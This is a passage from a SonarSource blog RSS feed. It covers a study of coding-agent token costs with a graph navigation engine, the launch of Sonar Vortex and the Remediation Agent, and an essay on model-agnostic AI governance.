navigation runs keep fewer files in play, so they read less. Because both columns fall on every task, the saving is real work avoided, and it holds whatever your caching setup. These medians are over the same n equals 10 per-run set as the headline cost table and reproduce from the data published alongside this article.&lt;/p&gt;&lt;p&gt;One kind of work showed up again and again in these wins: the same small, behavior-preserving change repeated across every implementation of a shared abstraction, an interface, a base class, or a protocol, where the code that changes never names the abstraction. In other words, a plain text search cannot list those places cleanly. On work like this, finding the complete set of places to edit is most of the job. The edits themselves are mechanical and nearly identical, and a single structural query hands back the whole list in one call. That is where the engine helped most.&lt;/p&gt;&lt;h3&gt;The six AI token consumption cost wins in detail&lt;/h3&gt;&lt;p&gt;Each result below is shown as a box-and-whisker chart. Baseline runs are on the left and navigation runs are on the right, with n equals 10 per side. The box is the spread, every run is a point, and the diamond marks the mean. &lt;/p&gt;&lt;p&gt;&lt;strong&gt;1. BloomFilter self-typing (Java): minus 36 percent.&lt;/strong&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/ef593040-b591-0198-9506-ed88b30bc023/d4ae3099-204d-4790-a950-0734ade59c71/cag-navigation-2.png&quot; /&gt;&lt;p&gt;Baseline mean $14.20 / median $14.29; navigation mean $9.07 / median $9.38 (mean minus 36 percent, median minus 34 percent). There are 16 places to change, but a grep on the type name returns about 461 hits, a noise ratio of roughly 29 to 1. This is the clearest example of the pattern above, and the worked case behind the noise-flood numbers earlier: a high noise ratio, a question grep cannot answer (the type hierarchy), and the model trusting the structural answer instead of searching by text. The 16 implementors are not text-matchable, because many are anonymous, nested, or test subclasses whose declaration never names the interface near the code that changes. &lt;code&gt;get-type-hierarchy&lt;/code&gt; enumerates all 16 and &lt;code&gt;get-references&lt;/code&gt; supplies the edit lines, so a couple of structural queries hand the agent the full edit set directly and the read storm never happens. This is the most defensible win in the set: almost every navigation run came in below the baseline, not just the average. The win caps at 36 percent because the residual cost is the generics edit churn (edit, recompile, fix), which the engine cannot remove. Subagents not used. Every counted run passed the build and tests. About 13 files and 126 lines added in a typical run.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;2. BloomFilter package rename (Java): minus 20 percent.&lt;/strong&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/ef593040-b591-0198-9506-ed88b30bc023/f2ca6b74-0a13-4214-9392-24bc2f29ff4e/cag-navigation-6.png&quot; /&gt;&lt;p&gt;Baseline mean $1.91 / median $1.86; navigation mean $1.52 / median $1.40 (mean minus 20 percent, median minus 25 percent). The same family as the first task but lighter: &lt;code&gt;search-signatures&lt;/code&gt; and &lt;code&gt;get-references&lt;/code&gt; enumerate every reference site, including the test suite and the Javadoc references that grep mixes up with confusable near-miss names, so the model renames the right set in one pass. The absolute saving is small (about 39 cents per run), because a rename is cheap for both groups with no compile-churn tail. It is useful as corroboration that the mechanism is the refactor shape, not a one-off. Subagents not used (0 of 10). Tests 10 of 10 both groups. About 61 files and 638 lines added in a typical run.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;3. SQLAlchemy compiler keyword arguments (Python): minus 20 percent.&lt;/strong&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/ef593040-b591-0198-9506-ed88b30bc023/a41c94b1-0a96-4ee5-aab3-c67dd2a16145/cag-navigation-3.png&quot; /&gt;&lt;p&gt;Baseline mean $2.03 / median $1.71; navigation mean $1.62 / median $1.22 (mean minus 20 percent, median minus 29 percent). The cleanest Python example. There are 47 override sites against about 1,152 grep hits, a noise ratio of roughly 24 to 1. The override sites are &lt;code&gt;def visit_&amp;lt;construct&amp;gt;&lt;/code&gt; lines spread across the backend dialect compiler files, and none of them name the base compiler, so a search for &lt;code&gt;def visit_&lt;/code&gt; returns over a thousand matches of which only a specific subset must change. The navigation runs leaned on &lt;code&gt;search-signatures&lt;/code&gt; (25 times across the group), &lt;code&gt;get-type-hierarchy&lt;/code&gt; (4), and &lt;code&gt;get-source&lt;/code&gt; (4). This task read as plus 92 percent at n equals 2 (in one of the two runs the model never engaged the engine and brute-forced the change) and resolved to a clear win on both the mean and the median at n equals 10, which is the clearest single demonstration that single-run cost is noise. Subagents not used (0 of 10). Tests 10 of 10 both groups. About 5 files and 41 lines added in a typical run.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;4. TanStack Query mutation context (TypeScript): minus 5 percent.&lt;/strong&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/ef593040-b591-0198-9506-ed88b30bc023/39687069-4543-4e1c-bdef-ca61bf9590e1/cag-navigation-4.png&quot; /&gt;&lt;p&gt;Baseline mean $9.58 / median $9.45; navigation mean $9.09 / median $8.89 (mean minus 5 percent, median minus 6 percent). TypeScript has a thinner symbol graph than Java, yet the pattern still holds: one signature flows to a fixed, scattered set of call sites the model must find completely. &lt;code&gt;search-bodies&lt;/code&gt; (7) and &lt;code&gt;trace-callers&lt;/code&gt; (2) pointed at the call sites directly so the model edited them without a re-grep loop. The win is real but modest, because the dominant cost is the npm and tsc build loop that the engine cannot move. Subagents used in 5 of 10 navigation runs. Every counted run passed the build and tests. About 27 files and 397 lines added in a typical run.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;5. AssertJ catchThrowableOfType argument order (Java): median minus 15 percent, mean roughly flat (minus 4 percent, within run-to-run noise).&lt;/strong&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/ef593040-b591-0198-9506-ed88b30bc023/11b3c7f0-a485-4ac7-930b-3f65dca41a83/cag-navigation-1.png&quot; /&gt;&lt;p&gt;Baseline mean $5.38 / median $5.61; navigation mean $5.15 / median $4.78 (mean minus 4 percent, median minus 15 percent). There are 32 call sites against 196 grep hits, a noise ratio of about 6 to 1. The token &lt;code&gt;catchThrowableOfType&lt;/code&gt; is greppable, so the difficulty is not locating it but distinguishing the old argument order from the new one across multi-line calls. The baseline burns 11 to 18 escalating regular expressions. The navigation &lt;code&gt;search-signatures&lt;/code&gt; and &lt;code&gt;trace-callers&lt;/code&gt; queries, read with &lt;code&gt;get-source&lt;/code&gt; on the overloads, return the resolved call sites with line ranges directly, dropping the typical grep count from 11 to 3. The win shows only on the median because the dominant cost is the multi-module Maven build, which the engine cannot move, and because two of the ten navigation runs reverted to grepping and erased the gain on the average. Subagents used in 6 of 10 runs. Tests 10 of 10 both groups. About 32 files and 98 lines added in a typical run.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;6. QuartzNET store and scheduler return types (C#): minus 20 percent on the typical run.&lt;/strong&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/ef593040-b591-0198-9506-ed88b30bc023/4614250a-dfe4-4370-aed2-0d7b317d73bf/cag-navigation-5.png&quot; /&gt;&lt;p&gt;Baseline mean $11.10 / median $10.20; navigation mean $11.71 / median $8.11 (mean plus 5 percent, median minus 20 percent). This task touches 186 sites, more than any other here, against 776 grep hits, a noise ratio of about 4 to 1. The large number of edits did not translate into the largest saving. The navigation runs used &lt;code&gt;search-signatures&lt;/code&gt; (23), &lt;code&gt;get-type-hierarchy&lt;/code&gt; (10), and &lt;code&gt;get-source&lt;/code&gt; (11) to enumerate the interface implementor set, and grep collapsed from about 22 calls in the baseline to 3. The median is a clear minus 20 percent win and is the fair read. The mean is the one figure that does not show it, dragged positive by three heavy runs (156 to 186 turns of solo editing, or spreading the work across many subagents) that reflect edit-and-build variance on a very large 186-site change rather than engine cost. The baseline has a right tail too, but a lighter one, so on this task the median run is clearly cheaper while navigation&amp;#x27;s worst runs are occasionally pricier than the baseline&amp;#x27;s. The median, not the average, is the summary here. Subagents used in 2 of 10 runs. Tests 10 of 10 both groups. About 24 files and 279 lines added in a typical run.&lt;/p&gt;&lt;h3&gt;When does graph navigation reduce AI coding agent usage costs?&lt;/h3&gt;&lt;p&gt;The refactoring shape in these examples is one place the engine helps, not the only one and not every task. Where navigating and understanding the code is not the bottleneck, for instance when a task is dominated by the sheer volume of mechanical edits or by the build-and-test loop, the engine has little to accelerate. We measured tasks like that, and the median cost stayed within a few percent of the baseline, with no penalty. Two caveats are worth stating plainly: the gain is tied to the kind of work, so it is not promised on every task, and a coding agent is noisy, so any single run can land either way. The effect is what you see in the median across repeated runs, not in a one-off comparison, which is why the study leads with the median over ten runs. Where finding the code is not the bottleneck, the engine stays out of the way rather than adding agent cost.&lt;/p&gt;&lt;p&gt;How much of the savings you actually get also depends on the model. The engine only helps when the agent calls it at the right moment and then trusts the result instead of re-checking it with a text search. The model runs a structural query and then ignores added cost rather than removing it. The measured wins here are on Opus 4.8. In our wider testing the same pattern held on Sonnet, while a smaller model like Haiku reached for the engine less consistently and left some easy wins unclaimed, though it still captured part of the benefit. The smarter the model, the better its judgment about when to ask a structural question and when to believe the answer, so the more consistent the gain.&lt;/p&gt;&lt;h2&gt;Conclusion: Reduce coding agent usage costs with Sonar Vortex&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/9t4_2Ql1Eu8?si=pPuR2QhQB7amfyEY&quot;&gt;How to Govern AI Agents with SonarQube Agentic Pack &amp;amp; AC/DC&lt;/a&gt;&lt;/p&gt;&lt;p&gt;The graph navigation engine reduces a coding agent&amp;#x27;s usage cost when finding and understanding the code is the real work. The refactoring tasks here are one clear example, and they share a profile you can use as a checklist: a widely implemented abstraction; implementors that text search cannot enumerate; a uniform, behavior-preserving change applied identically to every site; and discovery, rather than the build loop or the volume of edits, as the dominant cost. On tasks like these it delivered six wins across four languages, up to 36 percent cheaper per run: BloomFilter self-typing (minus 36 percent), the package rename (minus 20 percent), SQLAlchemy (minus 20 percent), TanStack (minus 5 percent), AssertJ (minus 15 percent on the typical run), and QuartzNET (minus 20 percent on the typical run, its average held up only by a few edit-and-build-variance outliers).&lt;/p&gt;&lt;p&gt;The effect is about the kind of task, not the language: the same wins showed up across Java, Python, TypeScript, and C#. What separated a win from a wash was not how many places needed changing, but whether a plain text search could list them cleanly. Where it could not, the engine helped. Where the work was not about finding code, it stayed out of the way, which is why it is safe to leave on.&lt;/p&gt;&lt;p&gt;Usage cost is only the first benefit. The second is the one the cost study keeps brushing against: because the engine enumerates the full set of structural locations, including the ones a text search never surfaces, the agent is far less likely to leave a site unchanged and ship a silent bug. An agent that understands the code, rather than one that pattern-matches text against it, is cheaper on exactly the work that is hardest to get right by hand, and, by enumerating sites a text search never surfaces, should be less likely to ship a silent bug, a benefit we argue from the mechanism rather than measure here, since correctness was held equal across both groups.&lt;/p&gt;&lt;p&gt;The navigation engine is available now as part of Sonar Vortex, the unified product that combines the betas of &lt;a href=&quot;https://www.sonarsource.com/products/context-augmentation/&quot;&gt;Sonar Context Augmentation&lt;/a&gt; and &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/agentic-analysis/&quot;&gt;SonarQube Agentic Analysis&lt;/a&gt; together into a single product that manages the agents inner loop. Access to these capabilities is through the SonarQube CLI and &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/mcp-server/&quot;&gt;SonarQube MCP Server&lt;/a&gt; integration with your coding agent or agentic IDE of choice. If your agents do this kind of work, large, uniform changes across a widely implemented abstraction where the hard part is finding every site, it is worth adding it to &lt;a href=&quot;https://www.sonarsource.com/plans-and-pricing/&quot;&gt;SonarQube&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Introducing Sonar Vortex and the SonarQube Remediation Agent]]></title><description><![CDATA[Sonar Vortex guides and verifies AI agent output in real time. SonarQube Remediation Agent is now GA. 92% fewer issues. Up to 36% lower token costs.]]></description><link>https://www.sonarsource.com/blog/introducing-sonar-vortex/</link><guid isPermaLink="false">en:45ec3380-cf64-4dec-ac58-ceee3784eab4</guid><dc:creator><![CDATA[Manish Kapur]]></dc:creator><pubDate>Tue, 30 Jun 2026 13:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;em&gt;Two new products built to make AI agents more effective&lt;/em&gt;&lt;/p&gt;&lt;p&gt;AI coding agents are writing code faster than any review process was designed to handle. That is not a complaint about the tools. It is a structural gap. The way we write code changed in the last twelve months more than it did in the previous decade. The way we verify it has not kept up.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://addyosmani.com/blog/loop-engineering/&quot;&gt;Addy Osmani&lt;/a&gt; put it clearly in June 2026: &amp;quot;A loop running unattended is also a loop making mistakes unattended.&amp;quot; He&amp;#x27;s right. And the solution isn&amp;#x27;t to slow down the agents. It&amp;#x27;s to close the loop.&lt;/p&gt;&lt;p&gt;Your CI gate already catches what reaches it. The problem is what reaches it has grown: larger PRs, higher volume of code, faster cycles. Closing the loop means moving code verification upstream into the agent&amp;#x27;s workflow, so by the time code reaches CI, most issues are already resolved.&lt;/p&gt;&lt;p&gt;Today, we&amp;#x27;re introducing &lt;strong&gt;Sonar Vortex&lt;/strong&gt;, a new product that operates inside the agent&amp;#x27;s coding loop: it gives agents the context and constraints they need before they write a line of code, then verifies their output in real time as they produce it. Alongside that, the &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/remediation-agent/&quot;&gt;&lt;strong&gt;SonarQube Remediation Agent&lt;/strong&gt;&lt;/a&gt; is now generally available. Previously in beta, Remediation Agent works in the background, autonomously clearing the backlog of technical debt that AI development compounds over time.&lt;/p&gt;&lt;p&gt;Both are available for purchase today as part of &lt;a href=&quot;http://sonarsource.com/products/agent-essentials&quot;&gt;Sonar Agent Essentials&lt;/a&gt;, Sonar&amp;#x27;s new offering for AI and engineering leaders who want to govern agentic development from day one. Together, they are the complete implementation of the &lt;a href=&quot;https://www.sonarsource.com/agent-centric-development/&quot;&gt;Agent Centric Development Cycle&amp;#x27;s&lt;/a&gt; Guide, Verify, Solve framework. Each stage makes the next one stronger, and the efficiency gains compound across the entire development cycle.&lt;/p&gt;&lt;h2&gt;The agentic problem has three parts&lt;/h2&gt;&lt;p&gt;Most teams approach AI verification as a single gate at the end: a CI check, a PR review, a quality scan after the agent is done. That works for human-written code. It does not work for agents.&lt;/p&gt;&lt;p&gt;An agent doesn&amp;#x27;t write one function. It writes hundreds of lines across multiple files in a single session. By the time code reaches a CI gate, the agent has already moved on. Fixing issues means reconstructing the reasoning that produced them. The cost compounds.&lt;/p&gt;&lt;p&gt;There are three root causes:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Contextual blindness&lt;/strong&gt;: Agents don&amp;#x27;t know your architecture, your approved libraries, or your security standards. They produce code that works in sandboxes but violates your standards. The model is good. The context and constraints are missing.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Late-stage verification&lt;/strong&gt;: Issues are caught at PR review or in CI, after the agent has moved on. Fixing them requires time-intensive context reconstruction and slows down the exact delivery speed the agent was supposed to enable.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Debt accumulation at scale&lt;/strong&gt;: AI generates code faster than teams can remediate the issues it leaves behind. The backlog grows. Legacy issues compound.&lt;/p&gt;&lt;h2&gt;A closed loop for agentic development&lt;/h2&gt;&lt;p&gt;Sonar Vortex and the &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/remediation-agent/&quot;&gt;SonarQube Remediation Agent&lt;/a&gt; cover all three stages of the &lt;a href=&quot;http://sonarsource.com/acdc&quot;&gt;Agent Centric Development Cycle&lt;/a&gt;: Guide, Verify, Solve. &lt;/p&gt;&lt;h3&gt;GUIDE and VERIFY: Sonar Vortex&lt;/h3&gt;&lt;p&gt;Sonar Vortex addresses the first two stages of agentic development, Guide and Verify, inside the agent&amp;#x27;s coding loop. It works on two dimensions simultaneously: making agents more effective by giving them the right context and constraints before they write, and keeping output quality high by verifying code in real time as agents produce it. Sonar Vortex brings together two previously released beta offerings,&lt;a href=&quot;https://www.sonarsource.com/products/context-augmentation/&quot;&gt; Sonar Context Augmentation&lt;/a&gt; and&lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/agentic-analysis/&quot;&gt; SonarQube Agentic Analysis&lt;/a&gt;, into a single generally available product. &lt;/p&gt;&lt;p&gt;Before the agent writes a single line, it needs to know what it is building into. Sonar Vortex connects to SonarQube and delivers deep, project-specific context and constraints to &lt;a href=&quot;https://www.sonarsource.com/resources/library/what-is-an-ai-agent/&quot;&gt;AI agents&lt;/a&gt; before they write or edit code, ensuring the generated code isn&amp;#x27;t generic, but actually fits your organization&amp;#x27;s unique coding standards. It is available via the &lt;a href=&quot;https://www.sonarsource.com/sonarqube/cli/&quot;&gt;SonarQube CLI&lt;/a&gt; or a locally running &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/mcp-server/&quot;&gt;SonarQube MCP Server&lt;/a&gt;. Agents get the following key capabilities that no prompt can replicate:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Architectural awareness:&lt;/strong&gt; agents navigate class hierarchies, trace call flows, and understand execution paths before writing anything. &lt;/li&gt;&lt;li&gt;&lt;strong&gt;Intelligent guidelines:&lt;/strong&gt; coding standards, quality requirements, and security policies injected automatically based on project history and current task. &lt;/li&gt;&lt;li&gt;&lt;strong&gt;Semantic navigation:&lt;/strong&gt; context retrieval uses Abstract Syntax Trees and control flow analysis, not keyword matching, so agents get code that&amp;#x27;s actually relevant. &lt;/li&gt;&lt;li&gt;&lt;strong&gt;Third-party dependency guidance:&lt;/strong&gt; agents assess dependency health and safety before introducing or updating them, catching risk at the point of decision.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The agent doesn&amp;#x27;t guess at your architecture. It knows it. Code conforms from the first line. Token costs drop by &lt;a href=&quot;https://www.sonarsource.com/blog/cut-your-coding-agents-cost-with-sonar-semantic-code-navigation&quot;&gt;up to 36%&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Even with verified context, large language models are probabilistic. A prompt that produced specific code yesterday has no guarantee of producing the same code today. New and different issues can emerge on every run.&lt;/p&gt;&lt;p&gt;Sonar Vortex solves a problem that every inner-loop verification tool has failed to solve: how do you get full CI analysis precision without the latency that makes CI unsuitable for the inner loop? The answer is a two-phase approach. During a normal CI run, SonarQube collects and stores analysis context for your project. When an agent needs to verify a change, that context is restored on demand. Single- or multi-file analysis runs in seconds, not minutes, while maintaining the same depth and precision as a full CI scan. There is no trade-off between speed and accuracy. You get both.&lt;/p&gt;&lt;p&gt;Sonar Vortex moves Sonar&amp;#x27;s analysis into the agent&amp;#x27;s inner loop. Every output is verified before a PR exists. Not a lightweight substitute for CI. The same analysis your team trusts in production, made fast enough to run inside the agent&amp;#x27;s workflow. The agent verifies against the same standards it was guided by.&lt;/p&gt;&lt;p&gt;The code generator and the verifier are separate. That separation is the point. Osmani calls it the &lt;a href=&quot;https://addyosmani.com/blog/loop-engineering/&quot;&gt;maker-checker split&lt;/a&gt;: the model that wrote the code is too generous, grading its own homework. A different methodology catches what the generator missed.&lt;/p&gt;&lt;p&gt;This is Sonar&amp;#x27;s zero trust approach: different methodology from generation, clear segregation of responsibilities, fully auditable, perfectly explainable, consistent and repeatable.&lt;/p&gt;&lt;p&gt;The agent writes. SonarQube confirms. Two different methodologies, one output you can trust. Issues caught in the agent loop don&amp;#x27;t reach CI. Rework drops. The agent operates more efficiently.&lt;/p&gt;&lt;h3&gt;SOLVE: SonarQube Remediation Agent&lt;/h3&gt;&lt;p&gt;The backlog didn&amp;#x27;t start when your team adopted AI. It was already there. AI is just making it grow faster.&lt;/p&gt;&lt;p&gt;The SonarQube Remediation Agent runs an independent review and analysis to fix reliability, security, and maintainability issues in your codebase, and to remediate dependency vulnerabilities found by Software Composition Analysis. It works across your backlog (issues found in your main branch) and on issues in your latest pull requests. It works with projects bound to GitHub or Azure DevOps.&lt;/p&gt;&lt;p&gt;Every fix is verified before it surfaces. The agent does not guess. It proves.&lt;/p&gt;&lt;p&gt;You maintain full control. Enable the agent per project, then review and approve each suggested fix before it merges. The agent opens PRs. Engineers decide what ships.&lt;/p&gt;&lt;p&gt;The Remediation Agent is built on the &lt;a href=&quot;https://www.sonarsource.com/blog/introducing-sonar-foundation-agent/&quot;&gt;Sonar Foundation Agent&lt;/a&gt;, the number one agent on SWE-Bench. &lt;/p&gt;&lt;h2&gt;Why Sonar Vortex and SonarQube Remediation Agent matter&lt;/h2&gt;&lt;p&gt;The three stages are not independent. They compound.&lt;/p&gt;&lt;p&gt;In our testing with a leading coding agent, Sonar Vortex reduced issues produced by 92% and&lt;a href=&quot;https://www.sonarsource.com/blog/cut-your-coding-agents-cost-with-sonar-semantic-code-navigation&quot;&gt; lowered token consumption by up to 36%&lt;/a&gt;. Agents with the right context write better code from the start. Agents verified in the loop spend less time on rework. The efficiency gains are measurable at every stage.&lt;/p&gt;&lt;p&gt;Better context means fewer issues to catch. Fewer issues means the Remediation Agent works on real problems, not noise. Sonar&amp;#x27;s low 3.2% false positive rate is what makes this possible: when the signal-to-noise ratio is that high, automation is trustworthy. Every fix improves what the next cycle starts with.&lt;/p&gt;&lt;p&gt;A point solution addresses one stage. Sonar Vortex and the SonarQube Remediation Agent address all three, and the gains build at every handoff.&lt;/p&gt;&lt;p&gt;SonarQube has always run at the outer loop, the CI gate after code is committed. Sonar Vortex moves that same coverage upstream into the agent&amp;#x27;s coding loop, where issues are caught before a PR exists. The same standard, applied earlier.&lt;/p&gt;&lt;h2&gt;Extending the independent code verification and governance platform you already trust&lt;/h2&gt;&lt;p&gt;More than 75% of Fortune 100 companies verify code with Sonar. More than 7 million developers trust Sonar&amp;#x27;s findings in production.&lt;/p&gt;&lt;p&gt;Sonar Vortex and the SonarQube Remediation Agent extend that trust into &lt;a href=&quot;https://www.sonarsource.com/resources/library/what-is-agentic-sdlc/&quot;&gt;agentic development&lt;/a&gt;. The analysis engine is the same deterministic engine running in production. The findings are consistent, repeatable, explainable, and fully auditable. Every result can be traced. Every decision can be defended to a regulator or a board.&lt;/p&gt;&lt;p&gt;When AI-generated code causes an incident, someone has to explain it. Sonar makes sure you can.&lt;/p&gt;&lt;h3&gt;Sonar Vortex launches today. SonarQube Remediation Agent is now GA.&lt;/h3&gt;&lt;p&gt;Sonar Vortex is available today as a new product. The SonarQube Remediation Agent is now generally available, graduating from beta. Both are available for SonarQube Cloud Enterprise and Teams Annual customers, packaged together as &lt;a href=&quot;http://sonarsource.com/products/agent-essentials&quot;&gt;Sonar Agent Essentials&lt;/a&gt;. Sonar Vortex includes the previously released Sonar Context Augmentation and SonarQube Agentic Analysis products consolidated into one unified product.&lt;/p&gt;&lt;p&gt;To learn more or speak with your account team, visit &lt;a href=&quot;http://sonarsource.com/products/agent-essentials&quot;&gt;sonarsource.com/products/agent-essentials&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Model-agnostic AI is key to business continuity as models keep changing]]></title><description><![CDATA[In a fast-moving AI market, model-agnosticism is discussed as a technical preference. It sounds like an architecture choice: avoid vendor lock-in, keep interfaces flexible, support multiple providers, route tasks based on cost, latency, or capability.]]></description><link>https://www.sonarsource.com/blog/model-agnostic-ai-is-key-to-business-continuity-as-models-keep-changing/</link><guid isPermaLink="false">en:78e76edf-9016-43f6-8dbd-241659e144a7</guid><dc:creator><![CDATA[Ekaterina Okuneva]]></dc:creator><pubDate>Fri, 26 Jun 2026 16:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In a fast-moving AI market, model-agnosticism is discussed as a technical preference. It sounds like an architecture choice: avoid vendor lock-in, keep interfaces flexible, support multiple providers, route tasks based on cost, latency, or capability.&lt;/p&gt;&lt;p&gt;But the deeper reasons to care are sovereignty and adaptability.&lt;/p&gt;&lt;p&gt;When we delegate important work to someone, or something, the last thing we want is to wake up one day and find that access has been cut off, the contributor has become less capable without warning, or abilities we built our workflows around have disappeared. Business continuity depends on predictability, and being able to plan. If we cannot reliably plan around the long-term commitment of a specific contributor, we have to plan around the continuity of the process instead.&lt;/p&gt;&lt;h2&gt;Plan for the process&lt;/h2&gt;&lt;p&gt;Businesses already understand this pattern. People leave, teams change, vendors fail, contractors vary in quality, and roadmaps shift. The response is process, frameworks, and documentation—clear ownership, reviews, access control, audit trails, fallback paths, escalation paths, acceptance criteria, institutional knowledge, and so on.&lt;/p&gt;&lt;p&gt;The AI world is different, but the principle still applies. A model may be brilliant today and weaker tomorrow. It may change behavior after an update, lose a capability because of policy, pricing, product strategy, infrastructure, regulation, or simple model drift. Even if none of that happens, different models will always have different strengths and weaknesses. So the question cannot be, “Which model do we trust completely?” The better question is, “What processes and frameworks let us keep moving when the contributor changes?”&lt;/p&gt;&lt;h2&gt;Model quality is a risk variable&lt;/h2&gt;&lt;p&gt;This is especially clear in AI coding – let’s take a look at a couple of examples from &lt;a href=&quot;https://www.sonarsource.com/the-coding-personalities-of-leading-llms/leaderboard/&quot;&gt;Sonar’s LLM leaderboard&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;One of the models we tested introduced 68 vulnerabilities per million lines of code, with more than 60% of those vulnerabilities rated major severity or higher. Another introduced 147 vulnerabilities per million lines of code, with a similar severity profile.&lt;/p&gt;&lt;p&gt;Would I let the first model roam freely in my codebase because it introduces less risk? No, it’s still a pretty significant risk, and the model still needs controls.&lt;/p&gt;&lt;p&gt;The second model is almost double the risk, but that does not automatically mean eliminating this model from consideration. It means it needs stricter controls: narrower permissions, smaller tasks, stronger isolation, and a heavier verification path before anything reaches the main branch.&lt;/p&gt;&lt;p&gt;That is the important shift: we stop planning around the fantasy of a perfect contributor and start planning around a governed process that can absorb variance.&lt;/p&gt;&lt;p&gt;The move from “we use Model X” to “we operate a governed AI-assisted development process” is the same instinct businesses have always applied to critical dependencies. It is not pessimism about any particular model’s future, it is a refusal to build a dependency structure that can be collapsed by a third party’s roadmap decision.&lt;/p&gt;&lt;p&gt;Once you make that shift, model quality stops being a binary pass/fail question. Instead, it becomes a tunable variable in a system you actually control.&lt;/p&gt;&lt;p&gt;The quality of the contributor still matters (of course it does). A better model can move faster, require fewer corrections, and handle more ambiguous work. But quality variation is not new. What matters is whether the surrounding system can detect, contain, and correct that variation before it becomes business risk.&lt;/p&gt;&lt;h2&gt;Where there’s a will, there’s a way&lt;/h2&gt;&lt;p&gt;In AI coding, the critical processes are verification and governance. Verification paves the road to model-agnosticism becoming practical rather than ideological. It is what allows teams to use different models without treating every model switch as an existential event. &lt;/p&gt;&lt;p&gt;The point is not one scanner, one review, or one heroic final checkpoint. It is a governed path from creation to release: coding standards that define what is acceptable in the codebase, deterministic analysis that goes beyond linting into semantics, data flows, dependencies, and architecture, and quality gates that turn those standards into enforceable checkpoints for risk management, compliance, and auditability. Other layers can do what they are best at: AI code review for logic and reasoning issues, testing for behavior and usability, and hunter agents for the cases everyone else may have missed. &lt;/p&gt;&lt;p&gt;No single approach is expected to catch every problem. The strength comes from combining different methods with low false positives, high true positives, and clear ownership of what is allowed to move forward. &lt;/p&gt;&lt;p&gt;This is the surface the road is built on. If the bus is not running, you are not stuck as long as there is still a road. You can bike, drive, run, or walk. Some options are faster. Some are safer. Some are efficient. Some require more effort. But the existence of the road preserves your freedom to move.&lt;/p&gt;&lt;p&gt;That is what intellectual sovereignty looks like in the age of AI: &lt;/p&gt;&lt;ol&gt;&lt;li&gt;Treat models as powerful contributors, not irreplaceable authorities.&lt;/li&gt;&lt;li&gt;Own the process, the standards, and the verification layer.&lt;/li&gt;&lt;li&gt;Use that verification layer to determine which models are trusted for which kinds of work.&lt;/li&gt;&lt;li&gt;Keep the ability to swap, upgrade, or diversify model capability without collapsing the workflow when a model is degraded, restricted, or changed.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;The future of AI will keep changing. Models will rise, regress, specialize, disappear, rebrand, get cheaper, get more expensive, become restricted, become open, become regulated, and become obsolete. Betting everything on one model’s permanent excellence is not a strategy; it is unwise dependency disguised as confidence.&lt;/p&gt;&lt;p&gt;The durable path is to build systems that assume movement. Model quality matters, access matters, cost matters, latency matters. But sovereignty comes from process. The organizations that thrive will not be the ones that found the one perfect model and trusted it forever. They will be the ones that built the roads.&lt;/p&gt;&lt;h2&gt;Own the verification layer&lt;/h2&gt;&lt;p&gt;That is where SonarQube becomes an integral part of the control plane. If AI-generated code is entering the codebase, the organization needs a verification layer that does not care which model produced the change. The standard cannot move every time the contributor changes. SonarQube helps anchor that standard centrally: define what good looks like, analyze code consistently, enforce quality gates, and make quality and security visible across projects.&lt;/p&gt;&lt;p&gt;This matters because AI governance cannot live in prompts, preferences, or model selection. Those are inputs. The real control point is the development workflow, where code either earns trust or it does not. A model with a lower risk profile may move through with fewer interventions. A model with a higher risk profile may need tighter gates, narrower permissions, smaller tasks, or more review. But the principle stays the same: generated code is not trusted because of where it came from, but because it passed verification.&lt;/p&gt;&lt;p&gt;In that sense, SonarQube is not a bet on one model over another. It is a bet on owning the road. It helps teams preserve sovereignty by making quality and security checks repeatable, visible, and governed across changing AI providers, changing model capabilities, and changing development practices. The model can change, but the process holds.&lt;/p&gt;&lt;h2&gt;Keep the business moving&lt;/h2&gt;&lt;p&gt;Optionality without paralysis is the real point of AI sovereignty and model agnosticism. It is the ability to pick your tools, mix and match contributors, change routes when conditions change, and keep the business running when one of the moving parts suddenly needs a safety check before it can be trusted again. Sovereignty means the organization still has choices when the market moves, when a model changes, or when a provider’s roadmap no longer matches its own. In an AI world where the moving parts will keep moving, the organizations that stay in motion will be the ones that own their standards, own their verification, and own the process that lets them choose what comes next.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/free-trial/&quot;&gt;Start a free trial&lt;/a&gt; to see how SonarQube helps teams turn AI code into verified, governed software.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Now available: SonarQube plugin for Cursor]]></title><description><![CDATA[Learn how the SonarQube plugin for Cursor brings code quality coverage insights and security checks directly into agent workflows.]]></description><link>https://www.sonarsource.com/blog/now-available-sonarqube-plugin-for-cursor/</link><guid 